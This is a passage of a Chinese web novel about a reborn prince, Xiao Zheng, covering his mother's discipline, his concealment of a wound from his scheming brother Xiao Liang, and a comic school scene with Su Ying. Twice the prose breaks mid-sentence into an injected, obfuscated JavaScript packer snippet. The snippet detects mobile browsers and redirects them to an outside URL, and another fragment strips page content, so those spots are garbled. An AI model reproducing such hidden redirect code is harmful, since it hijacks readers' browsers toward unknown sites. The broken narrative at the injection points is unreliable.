步皇后眉头一挑，掂起早放在身旁的红木戒尺：“跪下，俯下身去。” 萧征的脸腾地红透了：“……娘！” “怎么，不愿意，还要我找人把你摁下去？”步皇后轻轻抬起眼皮来，不动声色地威慑。 “……” “呃……啊！” 翠雀在门外候着，听戒尺声响了几下，停了。 她走进去，看贵妃榻前的地毯上，被少年的手指抓皱了两处。 萧征颤颤巍巍起身，怕羞，想揉又不敢揉，脸红得滴血：“……儿子谢母后责罚。” “回去老实待着！”步皇后把戒尺往身边的榻上一丢，皱着眉无奈地瞪他一眼：“别总让我操心。” 64.“食色性也。” 萧征忍着身后新添的，火辣辣的钝痛，几乎是挪着步子出的玉栖宫正殿门。母后那几下戒尺落得刁钻，恰好覆在昨夜旧伤之上，疼痛叠加，着实难捱，却也是无心插柳柳成荫，母后倒在无意之中帮了大忙，成就了他在萧谅面前绝佳的遮掩，足以解释他突然加重的伤势。 只是……嘿哟，真疼啊。他心中叫苦，呲牙咧嘴地一步步捱出宫门。 刚至廊下，便见赏明宫的总管太监雀头提着个雕花食盒，正探头探脑地往里瞧。一见他自己走出来，雀头忙不迭上前，伸出一条胳膊来给他虚扶着，眼睛却不甘心地朝他身后使劲看了看：“十七爷，您……一个人？” 萧征一眼就猜到他的心思。南三所太远，也不怪雀头不爱跑，定是听说他在这里，想来个“半路交割”，把食盒塞给他身边跟着的人便算交差。结果他独来独往惯了，连个贴身内侍也没带，袁鸣又是侍卫，不方便往后宫里来的。 “殿下，”雀头赔着笑，将食盒往上提了提：“郡主让小厨房精心煨的冰糖肘子——” 到底是没有放猪一马。萧征心下无奈，却猛地想起苏萦房中那些上妆时用的瓶瓶罐罐的脂粉，兴许有什么能为他颈部的伤口遮掩。 “回去那么远的路，拿回去早凉了。”萧征仿佛一下成了个万分讲究的老饕，挑剔地蹙起眉头来：“这东西凉了便腻，味道大打折扣，岂不辜负郡主一番心意。不如，本王随你回赏明宫，吃完了再走。” 雀头眼睛一亮：“那敢情好！只是……”他偷觑萧征神色，欲言又止。 只是贸然登门，不大合礼数。萧征知道他想说什么。 他既不敢说出来，那萧征就装傻到底，抬起脚来就朝赏明宫方向走去。雀头只好硬着头皮，提着食盒快步跟上。 一近院门，雀头忙卯足了力气给屋里头报信：“永宁王到！” 这一嗓子，比周总管喊的那声“陛下到”还威风，只是不见仪仗的金提炉，单他光杆一个，一瘸一拐，灰溜溜地走近。 一石激起千层浪，赏明宫里可一下子炸开了锅，屋里隐约传来低促的惊呼与忙乱的窸窣声，几个小丫头慌里慌张跑出来，跑到后院张罗东西，又急急忙忙端了铜盆抱了妆奁冲回屋里，屋里屋外忙活成一团。萧征有点后悔来得这样急。 忙了一阵子，门也不开，雀头也不好往里引，两人杵在院子里，你看我我看你，大眼瞪小眼的。 半晌，屋里才传来苏萦一声仿佛自暴自弃的叹息：“罢了，让他进来吧！” “永宁王请。”雀头如蒙大赦，忙上前打起帘子。 萧征进屋，一瞥苏萦，自己倒红着脸要往外退，忙乱之中，还踩了雀头一脚，雀头敏捷侧身，连声道：“不妨的不妨的，都怪奴才木呆呆的，耽误王爷脚落地了。” 苏萦坐在窗边炕床上，只穿着家常的杏子红绫袄，半披着头发，未施粉黛，白里透红的一张粉团脸，水灵得像好水果。蜜合正在一旁拿熨斗熨着衣裳，苕荣正跪坐在她身后床沿上给她梳头，两个丫头可没准备好，都是一脸惊慌地望着他。 “……怎么不收拾好了再让我进来？”萧征两眼没地方看，只得直直往地上盯。 “这么冷的天，等我收拾好，还不把你冻死在外面！”苏萦嗔怪地挖他一眼：“来找我干嘛？” “来——”来吃肘子。这莽撞地说出来简直不像话。 他忙改口——“这不是，听说今日又有口福了吗。” 啧，这话怎么说着都怪。 蜜合与苕荣替他俩羞，在一旁忍着笑，低下头去。 苏萦只懒懒答道：“哦，原来是馋肉了。昨儿还端着呢。” 这话听着更不像话了。两个丫头肩头耸动，憋笑憋得辛苦。 苏萦却像毫不觉得，转而吩咐：“雀头拿去的那盒凉了没有？没凉就摆出来，凉了就让厨房再热一下。那东西还是热腾腾地吃着才好。正好我也没用早膳呢，一起吃了。” 哪有辰时还不用早膳的。萧征腹诽：这小懒虫，定是才从被窝里钻出来没多久。 像是为了印证他的话，苏萦挺起腰杆伸了个大懒腰，一条胳膊朝着他，袖管里带出一阵暖融融的体香。 那不是香粉，不是香膏，就是她身上沁出来的香，上辈子他在她被窝里闻过。身子贴着身子，鼻子抵在她颈窝里闻的。 他的脸烧的比屋里的地龙还烫。 “我房里热，这大毛衣服解了吧。”她看他通红着一张脸。 他忙紧了紧大氅上的毛领，拦住要过来帮着脱大氅的蜜合：“不必了，我今日有些……冷。” “怎么了？又怕冷。昨晚睡得太晚，着了凉了？”她起身走过来，伸出手去触他的额头。宽大的袖管里空荡荡的，只一条雪白的胳膊，他的目光可以像条毒蛇一般一径钻进去。 他急匆匆收回目光。 当年，好像也是这样的时辰，这样的天气，他下朝回来—— 他下朝回来？他自己打断自己：青天白日的，他闯进她房里去，钻她的被窝？ 成何体统！五旬老魂自我厌弃。 他简直不愿承认这是他脑子里的回忆。可又没法骗自己是场梦。 雀头搬过一张椅子来，把个蓄棉花的波斯靠枕给他当坐垫，他还犹犹豫豫地不敢坐。 “你欠着点儿坐，”苏萦一眼看穿他的犹豫：“我不笑话你。” 早膳很快摆了上来。一张不大的梨花木圆桌，中央是青瓷大盘，盛着重新热好，切片码放得整整齐齐的冰糖肘子，酱色红亮，胶质晶莹。周遭是几样精致小点：一笼蟹粉小汤包，一碟芝麻酥饼，两盏嫩滑的鸡茸粥，并几样清爽的酱菜和一盘黄澄澄的柿饼。虽是晨起，却摆得满满当当，透着不计较时辰的丰盛兴致。 一觉睡到日上三竿，早膳就吃肥油肘子。萧征心里失笑，要不是从前看过她从头到尾一辈子，都要担心她将来长成杨玉环那样的丰腴美人了。 丰腴又如何？心底另一个声音嘀咕，不耽误她位列四大美人，照样是倾国倾城的红颜祸水。 “谁刚自己说的，凉了就腻了？” 苏萦见他只顾发呆，不耐烦地亲自夹起一筷头肉来喂到他嘴里，满眼希冀地望向他：“香不香？” 香，香得他待会儿要站不起来了。他僵硬地调整一下姿势，把两腿更偏开点儿。她的腕子明明离着八百里远呢，他却觉得仿佛就凑在他鼻子底下故意引他嗅。 “我自己来。”他偏头避开，伸手去拿自己的筷子。手腕突然尖锐地一痛：“——嘶！”筷子脱手，清脆落地。 “怎么了？”苏萦神色一紧，着急地凑近追问：“哪儿疼？” “……手腕有些不舒服。”萧征蹙眉，试着活动了一下，疼痛更甚。 “拿过来我瞧瞧。”苏萦不由分说拉过他的右手，指尖在腕骨附近轻轻按压：“这儿疼吗？” “啊唷！你轻点儿！”萧征没忍住痛呼出声。刚才她轻轻一摁，他仿佛遭雷劈了一下，痛感顺着手臂筋脉猛地窜上去，激得他半边身子都麻了一瞬。 “你这是一口气写太多，手腕劳损了，让你不肯听我的话！”苏萦抬起一双杏眼来瞪他。他挨她瞪一眼，倒低下头去想笑，心里莫名痒酥酥地快意。 房中临时支起个小泥炉来，苏萦把才摊好的膏药热热地贴在他手腕上。 “刚才一下子疼得你那样，那是筋在疼呢。筋是最难养的，知道吗？落下病根来，几十年都不好。” 她一本正经地板起个小脸，把他当个小孩子教训。 “哦，苏郎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我们刚在玩儿呢。”苏萦止了笑，拾起那块“脸皮”来给他看——原来是一块极薄，肤色，边缘近乎透明的柔软皮膜：“看，是不是像真的一样？这要是脸上生了雀斑，起了痘疹，又有推不掉的场合要出席，都可以用它来挡一挡……” 他心下一动。余光瞥向那块被丢在桌上的“脸皮”。 “让调个木樨清露，怎么还不拿来？”苏萦清清喉咙，看向门外：“嗓子都笑干了。” “奴婢去看看。”蜜合朝外走去。 苕荣站得远，背身在搭配苏萦今日要戴的头饰。 就趁这光景，萧征眼疾手快，飞身从一旁蜜合未来得及收起来的针线篮里摸出一柄小金剪刀，极快地在那块皮膜边缘剪下窄窄一条，藏入袖中暗袋。剩余部分丢在桌下，假装是人不小心带到地上去的。 这一通折腾，再照原样急匆匆一屁股坐回那只波斯软枕上，萧征的表情可就不大控制得住了。 “还疼得厉害呢？”苏萦走回来，注意到他勉强忍耐的表情：“喝些这个。” 她刚渴急了，自己去门前接过来，已经咕咚咚喝了半碗，现在直接递上来给他，他看着白瓷碗沿那一圈淡淡的水渍，喉结微动，默默别开了脸。 “多事。”苏萦撇撇嘴，扫兴道：“给殿下再调一碗来。” 新的一碗很快来了，喝到嘴里，一股子浓浓的桂花香。 “这能止疼？” “喝点甜的，能让人心情好。就不觉着那么难熬了。”她托着腮，天真烂漫地看着他。 他无奈地抿了抿唇。这想一出是一出的蹩脚郎中。 “太凉了。”他伸手去触她的碗底，眉头皱起来：“你的还更凉。大早上起来喝这个，下月二十又嚷肚子疼了。” 苏萦惊诧地瞪圆了眼，颊边飞起可疑的红晕。 “你——” “我——” 我说得什么昏话！ 他慌忙起身逃遁：“我还有东西落在母后那儿……多谢你的肘子和，和膏药。” 最后几个字含糊在嘴边，他几乎是夺门而出，把房中骤然爆发的，少女们清脆而促狭的起哄和笑闹声甩在身后。 65.“你三哥刚说什么，转眼就忘了？” 天光透过玉栖宫雕饰精巧的窗棂，在地面投下斑驳静谧的光影。萧征踏入正殿时，步皇后正由翠雀伺候着用一盏冰糖燕窝。见他来了，眼皮都未抬一抬。 “母后。”他行礼，眼神有些飘忽。 “嗯。”步皇后应了一声，放下玉盏，拿起丝帕拭了拭唇角，这才看向他：“这个时辰又转回来，抄完了？” “未曾。”萧征垂眼，尽量让姿态显得恭敬而驯顺：“南三所路远，一来一回恐耽误工夫。儿子想……就在母后这儿，当着您的面写完，也省得您总是挂心。” “哦？”步皇后眉梢微动：“那方才出去一趟，是到哪儿去了？” 萧征正嗫嚅着不知如何作答，步皇后的目光已落在他包扎妥当的手腕上，唇边掠过一丝了然的笑意：“原是寻你那好妹妹去了。” “她年纪小，父母又不在身边，本宫不好太拘着她。”步皇后的目光在萧征脸上停留片刻，收了笑容，眼神中似是警告：“可你是男人，又比她年长，心中更该有些章法分寸，切莫一味顺着她胡闹。” “……儿子谨记。”萧征俯首，低声答道。 “瞧你这红头胀脸的，不见得记住多少。”步皇后嫌弃地瞪他一眼，转而吩咐：“翠雀，给他搬张小案，备好笔墨。让他去暖阁里写，那儿清净。” “再备些热水与净帕，让他好好擦把脸，醒醒神。这副魂不守舍的样子，让旁人瞧见了，像什么话。” “谢母后。”萧征如蒙大赦，依言退入与正殿相连的暖阁。此处更显私密，空气里弥漫着独有的馥香，老山檀中掺杂着杜鹃和藏红花，玉栖宫中一年四季地点这个香。 他迅速观察四周，确认无人，这才小心翼翼地从怀中取出苏萦处得来的那一小条肤色皮膜，对着架上留给他梳洗的一面小铜镜，仔细地将那薄如蝉翼的皮膜贴覆在颈侧伤口之上。 苏萦的东西果然都是极好的。那皮膜边缘处理得极薄，贴上后，用手指细细按平边缘，竟真与周围肌肤融为一体，若非凑近细看或用力触摸，绝难发现异样。 他刚收拾妥当，外间便传来通传声，陡然划破宫殿中的宁静：“启禀娘娘，晋王殿下携王妃及第三女求见。” 萧征执笔的手几不可察地一顿，墨汁在宣纸上晕开一小点。 步皇后的声音平静地传来：“传。” 他稳了稳心神，强迫自己将注意力集中在面前的《孙子兵法》上，笔尖落下，却是半个字也写不进心里，全副心神都紧绷着，捕捉着外间的每一丝动静。 脚步声，环佩轻响，婴儿细微的哼唧声……萧谅的声音温和带笑，一如既往：“微臣参见皇后娘娘，恭请娘娘金安。” “都起来吧。晋王妃身子可大好了？快坐着说话。”步皇后的语气听不出喜怒，只是平淡的寒暄。 一阵衣料窸窣与谢恩声后，萧谅的声音再次响起：“劳娘娘挂心。托陛下与娘娘洪福，王妃已好些了。只是这孩子……”他顿了一下，语气染上些许为人父的忧心：“自打落草，便比旁的孩子孱弱些，太医也说需精心将养。儿臣与王妃思来想去，斗胆想求母后恩典——母后福泽深厚，德被六宫，若能蒙母后赐名，便是赐这孩子一份最大的福气与庇护。恳请母后成全。” 步皇后似乎沉吟了片刻。暖阁内，萧征的笔尖悬在纸上，屏息静听。 “难为你们一片爱子之心。”皇后的声音终于响起：“既然信得过本宫，本宫便僭越了。这孩子生于腊月，岁寒之际，却也是新春将启之时。诗经有云，‘岂弟君子，莫不令仪’。仪，容止法度也。不若取‘令仪’二字，盼她修得优雅风范，贞静端方，一生顺遂平安。你们看，如何？” 念厥毗倚，淑是令仪。裕民惟志，寿国惟祺。 萧令仪。萧征在心中默念，确是个好名字，寓意端庄，出自经典，符合皇家郡主的身份，也听不出太多额外的情绪。 “臣替小女令仪，谢过皇后娘娘赐名！” 外间传来萧谅与晋王妃感激的谢恩声。接着，萧谅仿佛这才发觉暖阁中有人，惊讶的语气从外间传来：“娘娘这里还有客人？看这身影……莫不是十七弟也在？” 萧征知道躲不过，只得放下笔，整理了一下衣袍——他已解了大氅，只着一件领口服帖的常服，深吸一口气，走了出去。 “臣弟见过三哥，三嫂。”他行礼，目光与萧谅坦然相接。 萧谅的眼神果然在他脸上身上迅速扫过，但那目光看起来十分自然，兄长见到平素疼爱的幼弟，合该是这样慈爱又欣赏的眼神。 “真是十七弟！巧了，今日我们兄弟倒都凑到娘娘跟前了。”他笑着向步皇后问：“娘娘可还记得？当年十七弟恰与儿臣是同月同日的生辰，您还说我们兄弟有缘，特意请父皇准允，让儿臣这做兄长的，为他拟了‘征’字为名。如今想来，恍如昨日。” 步皇后唇角微弯，仿佛也忆起往事，淡淡道：“是有这么回事。一转眼他都长这么大了，真是时光荏苒。”她顿了顿，吩咐身后侍女：“既然都来了，便留下一起用顿便饭吧。翠雀，去吩咐小厨房添几样菜，清淡些，晋王妃和孩子都需仔细。” 萧征心知这给了萧谅进一步观察他的机会，又不好先行告退，只能硬着头皮应了下来。 午膳设在小花厅，菜肴精致，气氛看似融洽。晋王妃身体未愈，略用了些便告罪，由乳母陪着，带着小郡主去偏殿休息了。桌上便只剩下步皇后，萧谅与萧征。 萧征坐下时，动作不可避免地有些迟缓僵硬，落座后也微微调整了姿势，并未强行掩饰臀腿的不适。 萧谅的目光，果然似有若无地落在他身上。饮了一口汤后，萧谅状似随意地开口，语气满是关怀：“十七弟此番伤的这么重啊？怎么两天了还不见好？” 步皇后放下银箸，接过话头，语气里带着几分母亲对顽劣儿子惯常的无奈：“不怕晋王笑话，是这小子自己惫懒，昨儿答应好的罚抄拖到今晨还未完成，在本 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“不过也难为你三哥还愿费心带你。”步皇后语气一转，似责怪又似歉然：“上回给你三哥添了多大的乱子！” “娘娘言重了！”萧谅忙拱手，言辞恳切：“年轻人嘛，心思活络，敢想敢干是好事。若非侥幸将他全须全尾地护送回来，臣如今哪还有颜面来见娘娘。” 几人又就着无关痛痒的闲话说了片刻，萧谅见时辰不早，便起身告辞，言辞恭谨，再三谢过皇后赐名赐膳，临行前又拍了拍萧征的肩膀，嘱咐他“好好听母后的话，仔细养伤”，态度也与寻常无异。 直至萧谅的身影消失在玉栖宫门外，萧征一直挺直的脊背，才几不可察地松弛了一分。 殿内恢复了宁静。步皇后并未立刻言语，只是用杯盖轻轻拨弄着茶盏中的浮叶，发出细微的清脆声响。 萧征站在原地，后背早已被一层薄汗浸湿。他不知道萧谅的疑虑是否真的就此打消，还是早已看穿了他拙劣的把戏，只是暂且按兵不动。 他还没活到萧谅如今这个年纪就死了。前世短短四十余载，前十八年，萧谅是他敬若神明的兄长；待他回过神来，勉强认清那温和表象下的嶙峋真容时，他又已成为了牢牢压制他的君上。他不知道萧谅是从何时开始暗中筹谋，织就了那样一张无形巨网。如今重来一遭，他也根本不确定自己有没有能力与之抗衡。 可纵是螳臂当车，飞蛾扑火，他也必须要试一试。他已勉强改写了父皇毒发身亡，母后被逼殉葬的结局，那么其他人的，他自己的，或许……也终有一线转机。 “小栓子，还躲懒？”步皇后的声音懒洋洋地响起，带着戏谑的威胁：“你三哥刚说什么，转眼就忘了？” ——他说，你本就配不上这皇位。 ——他说，跪下。 ——他说，靖王萧征，勾结外藩，妄图谋反！ “……没有忘。”他转过身来，朝他母亲宽慰一笑：“儿子这就回去，把剩下的兵法写完。” 66.“这是谁的策论？” 萧征在宫中禁足，百无聊赖，萧庆便缠着他陪自己去上课。 “走嘛，哥！凭什么你不用起早去尚书房点卯？你又没成家立府，父皇也没指派你什么正经差事，就让你这么干闲着，太不公平了！” 萧庆扯着他的袖子，半是抱怨半是撒娇。 萧征被他晃得无奈，叹气道：“我早在两年前随军出征之前，便将《四书》《五经》《通鉴》这些该通的典籍都精读完毕，策论也写了不下百篇。如今再去，不过是温故罢了。” “那让许师傅再找些更艰深的典籍给你读嘛！书还不有得是！” 萧庆眼睛一亮，仿佛抓住了救命稻草：“那策论的题目左一篇右一篇，我看一辈子也写不完，肯定也有你没写过的！” 萧征闻言，倒是轻笑了一声，带了点调侃：“哟，听你这口气，如今也换到许师傅门下了？” 翰林院侍讲许修贤是朝中有名的饱学儒士，正是萧征少年时的授业恩师。萧征自幼天资聪颖又肯下苦功，当别的皇子还在跟着启蒙师傅咿咿呀呀背诵章句时，他已能跟着许师傅探讨经义，撰写策论了。许多年里，许师傅几乎是他一人的专属师傅。没想到不过离京两年，连一向被父皇戏说是“榆木脑袋”的萧庆，竟也够格提到许师傅班上了。 “不换不行啊！” 萧庆苦着一张脸，满是诉不尽的委屈：“父皇说我十五岁的大小伙子了，《大学》《中庸》还背得磕磕绊绊，太给他丢人，硬把我塞到许师傅班上来的。我哪儿跟得上啊！哥，你就当可怜可怜我，陪我去一回，给我壮壮胆子，也好叫许师傅看在你的面子上，少骂我两句。” 最终，萧征还是被萧庆半拖半拽地拉去了尚书房。 踏入那间宽敞明亮，弥漫着墨香与旧书气息的学室，熟悉的场景扑面而来。连排整齐的书案，墙壁上悬挂的圣人训诫，窗外那株年年飘香的桂树……一切都未曾改变。 萧征心中陡然升起无限感慨。前世曾有十年时光，他为帝师，正是在这里，在这讲席之间，将自己半生所学，一腔赤诚，毫无保留地倾注给那个轻而易举夺了他皇位的少年君王。晨曦微露至此，月华满窗方归，字斟句酌，循循善诱……换来的，却是猜忌，疏远，直至那痛入骨髓的侮辱与构陷。那些呕心沥血的倾囊相授，终究全是错付，白白糟践了他的一片丹心。 身体仿佛还遗留着当年日复一日，年复一年的习惯，他目光扫过空无一人的讲台，看到上面散落着几份墨迹未干的课业，几乎是未经任何思考，便自然而然地走了过去，如同曾经千百次做过的那样，撩袍坐在了那张宽大的紫檀讲席之后。 他随手抽出最底下的一份策论，题目是《论漕运利弊与革新》。目光掠过那尚显稚嫩却已初具章法的字迹，看到文中几处关于“利用水力机械提升转运效率”，“在关键河段增设官仓以平抑粮价”的见解，虽显粗疏，却已然跳出了陈腐的窠臼，带了点务实的新意。 “好！” 赞赏之意油然而生，他不禁脱口而出，语气里难掩欣慰：“小小年纪，见解已是不俗。这是谁的策论？” 没人答话，学生们都用怪异的眼光偷觑着他。 就在这时，一个含着温和笑意的熟悉话音突然响起，自门口由远及近：“十七殿下，对自己昔年的这篇旧作，竟还如此满意，不惜亲自上台品鉴一番么？” 萧征浑身一僵，猛地抬头。 门口逆光处，立着一位清癯儒雅的中年男子，青衫缓带，目光清明睿智，正抚须望着他，嘴角那丝笑意意味深长——不是他前世的恩师许修贤，又是哪个？ 我的……我的旧作？！ 萧征如遭雷击，慌忙低头再看手中纸笺。那字迹……那略显飞扬跳脱，笔画间尚存少年意气的字迹，可不正是自己十三四岁时的手笔？他竟拿着自己许多年前写的功课，在这里大言不惭地评点“见解不俗”！ “学，学生……” 脸上瞬间着了一把火，他几乎是弹跳起来，慌忙将那份策论放回原处，手足无措地朝着许修贤躬身行礼：“学生唐突……学生见过许师傅！” “……噗嗤！” 讲台之下，原本安静等待上课的皇子皇孙及宗室子弟们，终于忍不住低低窃笑起来。一道道目光好奇地，玩味地聚焦在僵在讲台上的萧征身上。 萧征只觉得头皮发麻，站在那儿，走也不是，留也不是，目光慌乱地四下逡巡，想找个地缝钻进去。 就在这时，与男学生区域相隔的一道竹帘后，有人急切地朝他小幅而快速地挥了挥手。萧征定睛看去，只见苏萦的半张小脸从帘后探出来，一双明眸瞪得圆圆的，正焦急地冲他使眼色，嘴唇无声地做着口型“快过来”，手指悄悄指向后面一个空着的座位。 那是……留给偶尔来听课的皇子或伴读的位置。 萧征瞬间醒悟，脸上更是红得滴血。他不敢抬头看许师傅的表情，低着头，几乎是小跑着，在众人压抑的低笑声中，狼狈不堪地穿过前排书案，钻到了后排那个空位上，重重坐下，恨不得把整个人都缩进阴影里。 他刚坐下，喘匀一口气，隔着那层细细的竹帘，苏萦便扭过身子，凑近帘缝，压得极低却满是疑惑的声音传了过来： “……你上去干什么啊？” 萧征头一回从苏萦口气中听出了对自己脑力的嫌弃和怀疑。 “……” 萧征一噎，喉头滚动，脸上热度未退，又添了把新柴。他能怎么说？难道说“我当帝师当习惯了，一时没改过来”？他只能死死抿着唇，装作全神贯注地整理面前空无一物的书案，又抬手佯装咳嗽，捂住半张脸，彻底扮起聋子哑巴，对帘那边的追问充耳不闻，只盼着这堂课赶紧开始，又或者，干脆此时来个地动将他埋了才好。 悄悄抬眼打量四周，这份尴尬又添了几分——许多兄长们的儿女，年岁已比他还要大了。这学堂里，如今还在读书的学生中，真正与他平辈的，除了身边的萧庆，也就是还未出嫁的几个公主们了。其余那些少男少女，论起辈分，都要恭恭敬敬唤他一声“十七叔”的。 而他方才，竟在这么多“侄子”“侄女”面前，闹了这么大一个“自夸自擂”又“僭越师位”的笑话。 萧征将面颊埋于两掌之中，内心一片哀鸣。这重活一世，要适应的，何止是年少的躯体，未发的危机，竟连这最基本的身份认知，都需时时警醒，刻刻纠偏。帝师的魂，困于皇子的身，这其间的落差与惯性，稍不留神，便是足以让人窘迫至死的尴尬。 许修贤已缓步走上讲台，清了清嗓子，学室内最后几丝窃窃私语也归于沉寂。 然而萧征知道，今日这桩“十七叔上台自评旧作”的轶事，怕是很快就要成为同窗们茶余饭后的新鲜谈资了。 台上，许师傅开始讲评今日的经义篇章。那内容萧征约莫十岁时便已滚瓜烂熟，如今再听，字句皆如旧友，毫无新意。他耐着性子听了半刻，心神便不由自主地飘了出去。 大朔重武抑文，即便是天家子弟，也多以弓马娴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17136559|190662||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 熟为荣，对这等咬文嚼字的功夫往往兴致缺缺。环顾四周，果然见不少同窗虽坐得笔直，眼神却早已放空，悄悄活动着藏在桌下的手腕脚踝，听得意兴阑珊。 萧征闲极无聊，目光便从同窗的后脑勺上一个一个逡巡过去。回忆着他们的名字，在头脑中捡拾着前世离世之前，对他们残存的零星记忆。 那个宽肩的，是四哥家的老大吧？后来袭了他父王的郡王爵，上朝时常能看见，总爱站在队列最末打哈欠。 斜前方瘦削的那个……是不是大哥家的老三？后来随我出征北邙山，被流矢射中，战死沙场了。 最远的那个背影单薄的后来怎么没一点印象。难道……早逝了？ 一一看过男学生，他终究没好意思将目光投向竹帘之后的女眷席位。比起兄弟们，他那些姊妹们更是面目模糊。自幼长于深宫，男女有别，他几乎未曾与她们有过像样的往来。 嫁给许师傅，生了许长眉的是二姐姐。 苏萦的舅母，魏国公夫人是八姐姐。 …… 排名十以后的，他几乎混作一团，连名号与面孔都对不上了。即便是因为与苏萦交好，他得以多见过几次面的珉雪雨酥，他都拿不准两人的排行是十三十四，还是十四十五。 在女学生堆儿里，最熟悉的只一个苏萦。 苏萦……苏萦坐得可真远。其实教室中只零星几个女学生，前排空位甚多，她大可不必还一直坐在最后一排。 那道细细的竹帘不仅将许师傅的身影和目光挡起大半，也将她半掩在一片被忽略的阴影里面。 萧征心头蓦地一软，泛起细细密密的疼。她前十几年都是这样过来的吗？躲在众人视线之外，将自己藏匿起来？他还当她一直是只耀武扬威的花孔雀。此刻望去，她姣好的侧颜被竹帘的间隙切割成明暗交错的细线，影影绰绰映在帘上，如同屏风上走笔勾勒的美人图，美则美矣，却仿佛罩着一层隔膜，触不可及。 她微微垂首，卷翘的长睫在眼下投出一小片安静的阴影。单手托着腮，另一手无意识地在纸上划着什么，周身莫名笼着一层淡淡的，与周遭格格不入的寂寥。 萧征喉头微动，几乎要脱口唤她，劝她不必如此拘谨，大可坐到前面光亮处来—— 苏萦忽然极快地抬起眼帘，朝讲台上专注讲解的许师傅方向贼溜溜地觑了一眼。确定安全后，她以迅雷不及掩耳之势，从桌屉下摸出一册卷了边的书，就着桌上摊开的正经书本的掩护，搁在腿上，“哗啦”一声轻轻翻开，胳膊往桌上一架，完美地筑起一道“城墙”，整个人便埋首下去。 方才那身寂寥疏离的气质瞬间荡然无存。竹帘缝隙间，萧征清晰地看到她嘴角不由自主地翘起一个愉悦的弧度，眼神亮晶晶地追随着书页上的文字，偶尔还要极力抿住唇，才能抑制住那快要溢出来的笑意，脸颊都透出兴奋的微红。那册书的封皮在他的角度看不真切，但绝非《女诫》或《列女传》，插画仿佛还是春什么宫图。 萧征：“……” 他方才那满腔的心疼与怜惜霎时凝固，然后“咔嚓”一声碎了个干净。 “哎！”萧征气结，手比脑子快，一巴掌拍在身侧的竹帘上，发出不大不小“啪”的一声。前排有人疑惑地回过头来看。 萧征顾不上尴尬，隔着那道竹帘，对着那个被他吓了一跳，正不爽地回头望着他的那个小没良心的做出最凶狠的口型，无声地咆哮： 老——实——听——课！ 67.“你有没有觉得有还哥哥最近怪怪的？” 才下了学，苏萦便贴着墙根鬼鬼祟祟往外溜。一条腿才迈出尚书房的门，就听身后一个冷冷的声音响起：“站住。” “干嘛？”她转过身，心虚地摆出一副不耐烦的样子：“萧先生又要来评我的策论了？我的见解可俗得很——” “拿来。”萧征冷着脸，掌心向上朝她直直伸出手：“话本子没收。” 苏萦脖子一缩，顷刻换上满脸懵懂无辜：“……什么话本子？” 话音未落，她身子一偏就从萧征身侧灵巧地抽身过去，扯着背书箱的蜜合撒腿就跑。 恰在此时，袁鸣抱着个木匣子匆匆赶来，一见苏萦，两眼一亮，忙拦住她去路，半点没注意到她心虚的神色，雀跃道：“郡主您今日也来上学了！正好，咱们现在一同过去吧？” 萧征蹙眉：“去哪儿？” “回南三所啊！”袁鸣老实作答，全然未觉气氛有异：“殿下从军中带回的那些信件文书，属下识字不多，怕理乱了。上回郡主瞧见，主动说要帮忙的。” “哦？这么说来，你我同路啊华容郡主。”萧征漫步走上前来：“蜜合，把郡主的书箱拿过来。” “不同路，”苏萦慌忙推开袁鸣又想跑路：“我忽然又不想帮你的忙了。” “等等？”萧征这才反应过来哪里不对味，两眼一眯，幽幽地问：“什么叫‘今日也上学了’？不仅上课在底下偷看话本，你还旷课缺课？” 苏萦眼珠滴溜溜转，虚张声势地挺直背脊：“你听他胡说，哪有的事儿啊！” 萧征不与她辩，直接唤住在门前等的不耐烦已独自溜达出好几步的萧庆：“你们昨日可上学了？” “上了啊？”萧庆懵懵道：“哥，你又不是没上过学，除去年节庆典，咱们哪放过假呀？” “那是谁，昨日睡到日上三竿，还悠哉悠哉地在屋里摆弄假皮面具？”萧征气得牙根痒痒。许师傅如今未免对学生太过宽纵，难怪教出的亲贵子弟日后个个是酒囊饭袋，贤能得用的寻不出一个半个。 若放在从前自己任教之时，遇上这等顽劣生徒，他早该抄起戒尺，叫她伸出手来挨板子了。 “我……我那是挨了罚，母后准我告了两日假！”苏萦梗着脖子强辩。 “告假？”萧征眉梢一挑，“这话你敢当着母后的面再说一遍？” “殿下，您审贼呢！”连袁鸣都看不下去了：“郡主是个姑娘家，字认得多，写得也好，又机灵又有能耐，将来又不考科举不当官的，读那么多书干什么？” 萧庆一向跟苏萦不对付，此时都在旁边赞许地点头如捣蒜：“就是就是！依我说，我也不用读这么多书——” “你们几个真是……目光短浅！”三个年轻人此刻在萧征心目中就地“嘭嘭嘭”变成三个大草包撂在面前：“书中自有乾坤道理！圣贤典籍，师傅逐字逐句讲与你们，你们竟都当过耳东风不成？” “尤其是你！”萧征恨铁不成钢地把袁鸣瞪了一眼：“他们两个自小在宫中享福，好逸恶劳也就罢了。皇室子弟，少有不是这副德行的。你家娘子学富五车，竟也没熏陶熏陶你！” 三人面上齐刷刷浮起一种心照不宣的鄙夷。 “说得好像你小时候不是这副德行似的。” “说得好像您没逃学掏过鸟窝似的。” “好像你没因为功课荒废被许师傅打得哇哇哭似的。” “打得您手心纹路都平了，第二天早上起来脸都是属下帮您擦的，您还惦记翻墙出去斗蛐蛐……” “娘跟父皇到前线慰劳战士去了半个月，窗课你一个字也没动，娘回来把你揍了一顿，你才哭哭啼啼补了一宿……” “……” 好清晰好荒唐的童年啊。 萧征无地自容，终是一拂袖硬撑着气势赶人：“好了！都忙你们的去吧，少在这里奚落我！好心当成驴肝肺，往后我再不管你们的事！” 三个人歪着头远远望着他落荒而逃的背影。 “我哥这是干什么去？” “丢了面子，就不跟咱们同路了？” “你们说殿下他——”袁鸣很担忧地欲言又止。 “绝对不会从此就不管咱们的事。”萧庆和苏萦胸有成竹地异口同声。随后，又因为碰巧说了一样的话嫌弃地互相瞪了一眼。 